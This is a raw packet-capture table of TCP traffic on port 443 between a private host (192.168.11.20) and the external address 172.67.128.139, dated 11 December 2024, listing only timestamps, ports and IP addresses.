Dec 11, 2024 12:45:42.200800896 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.200807095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.201322079 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.201334000 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.201597929 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.201606035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.201715946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.202805996 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.202816963 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.202995062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.203002930 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.203046083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.203142881 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.203991890 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.204004049 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.204278946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.204283953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.204461098 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.204893112 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.204905033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.205013990 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.205020905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.205095053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.205188990 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.206638098 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.206651926 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.206773996 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.207005978 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.207010984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.207607031 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.207622051 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.207838058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.207844973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.207933903 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.208812952 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.208825111 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.209031105 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.209041119 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.209125042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.209856033 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.209871054 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.209994078 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.209999084 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.210073948 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.210177898 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.211345911 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.211359024 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.211684942 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.211692095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.212531090 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.212544918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.212685108 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.212691069 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.212966919 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.213402987 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.213414907 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.213754892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.213754892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.213762045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.213803053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.214432955 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.214447975 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.214617014 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.214627028 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.214663029 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.214808941 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.216084957 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.216097116 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.216366053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.216366053 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.216375113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.216460943 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.217170954 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.217184067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.217360020 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.217370987 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.217454910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.217454910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.218286037 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.218296051 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.218420982 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.218430042 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.218511105 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.218655109 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.219300032 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.219310045 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.219603062 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.219609976 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.220814943 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.220827103 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.221184015 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.221189022 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.221988916 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.222001076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.222138882 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.222146034 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.222269058 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.222875118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.222887993 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.223192930 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.223198891 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.224653006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.224667072 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.224829912 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.224837065 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.225012064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.225610971 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.225621939 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.225789070 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.225795984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.225886106 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.226655960 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.226667881 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.226867914 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.226874113 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.227061033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.227061033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.227772951 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.227783918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.228025913 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.228030920 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.228219032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.229221106 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.229232073 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.229415894 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.229535103 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.229538918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.285192013 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.397124052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.397136927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.397253990 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.397453070 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.397643089 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.397671938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.397984982 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.398416996 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.398454905 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.398611069 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.398699045 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.398730040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.399018049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.399719954 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.399765015 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.399883032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.399883032 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.400085926 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.400115967 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.400367022 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.400594950 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.400625944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.400898933 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.401052952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.401068926 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.401104927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.401248932 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.402196884 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.402261972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.402403116 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.402506113 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.402524948 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.402658939 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.403275013 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.403304100 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.403604984 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.403640032 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.403805971 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.404201031 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.404231071 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.404412985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.404566050 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.404597998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.404737949 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.405241013 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.405281067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.405513048 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.405548096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.405569077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.405857086 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.406867981 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.406897068 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.407073021 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.407131910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.407149076 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.407162905 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.407291889 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.407938957 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.408077002 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.408158064 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.408221006 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.408236980 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.408348083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.408379078 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.409018040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.409053087 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.409312010 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.409328938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.409504890 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.409992933 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.410022974 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.410346985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.410367012 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.410628080 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.410645008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.410661936 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.410674095 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.410795927 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.410983086 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.419131041 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.419162035 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.419312954 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.419469118 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.419487953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.419717073 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.419821024 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.419872999 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420001030 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.420104027 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.420114994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420368910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.420377970 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420399904 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420559883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.420578003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420645952 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.420663118 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420761108 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420790911 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420902967 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.420928955 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.420945883 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.421067953 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421078920 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.421088934 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421175003 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421209097 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.421333075 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.421355963 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421384096 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421427011 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.421597958 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.421616077 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421670914 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.421680927 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421720982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421848059 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.421871901 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.421967983 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422003984 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.422041893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422058105 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.422178030 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422275066 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422327042 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422343969 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.422373056 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.422527075 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422600031 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422619104 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.422697067 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.422725916 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422847033 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422856092 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.422899008 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.422991991 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.423633099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.423657894 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.424007893 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.424021006 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.424155951 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.424448967 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.425199986 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.425225973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.425373077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.425472975 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.425484896 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.425787926 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.426286936 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.426327944 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.426536083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.426536083 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.426563025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.426739931 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.426739931 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.426913977 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.427534103 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.427567005 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.427725077 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.427777052 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.427798986 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.427958012 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.429022074 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.429050922 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.429347992 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.429368973 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.429507017 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.430082083 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.430109978 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.430303097 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.430325985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.430340052 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.430372000 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.430495977 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.431253910 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.431282043 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.431597948 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.431637049 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.431905985 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.432244062 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.432271004 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.432538986 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.432570934 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.432591915 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.432708025 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.433607101 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.433633089 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.433772087 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.433835983 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.433852911 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.433913946 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.434156895 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.434782982 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.434811115 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.435041904 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.435060024 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.435142994 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.435262918 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.435724974 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.435751915 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.436038017 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.436049938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.436084986 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.436203003 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.436862946 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.436892986 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.437084913 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.437108994 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.437174082 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.437342882 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.438486099 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.438519955 CET	443	49763	172.67.128.139	192.168.11.20
